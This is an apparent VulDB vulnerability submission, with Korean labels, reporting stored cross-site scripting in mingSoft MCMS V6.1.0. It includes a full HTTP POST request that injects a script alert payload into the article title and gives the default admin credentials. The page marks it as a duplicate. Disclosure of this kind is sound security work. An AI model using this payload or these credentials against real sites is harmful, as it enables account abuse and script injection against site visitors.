| 제목 | code-projects mingSoft MCMS V6.1.0 Cross Site Scripting |
|---|
| 설명 | Download the source code from https://gitee.com/mingSoft/MCMS and deploy it locally for testing. The default administrator username and password are msopen/msopen.
Add a new article in the article management module of the backend. The article title is not filtered in any way, so any XSS payload can easily trigger it. Then, accessing the homepage will trigger an XSS attack.
POST /ms/cms/content/save.do HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 311
sec-ch-ua-platform: "Windows"
Cache-Control: no-cache
Pragma: no-cache
sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/ms/cms/content/index.do?
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: pageno_cookie=1; SHIRO_SESSION_ID=21278f9c-dd94-4a85-a5e9-556c95583048
Connection: keep-alive
contentTitle=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&contentShortTitle=&categoryId=1329316146811314177&contentType=&contentDisplay=0&contentAuthor=&contentSource=&contentSort=0&contentTags=&contentImg=&contentDescription=&contentKeyword=&contentDetails=&contentOutLink=&contentDatetime=2025-11-07%2020%3A34%3A44 |
|---|
| 원천 | ⚠️ https://gitee.com/mingSoft/MCMS/issues/ID7OBM |
|---|
| 사용자 | NasYh (UID 92820) |
|---|
| 제출 | 2025. 11. 20. PM 01:35 (11 개월 ago) |
|---|
| 모더레이션 | 2025. 12. 06. PM 02:54 (16 days later) |
|---|
| 상태 | 중복 |
|---|
| VulDB 항목 | 216499 [Mingsoft MCMS 5.2.9 Article save 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 0 |
|---|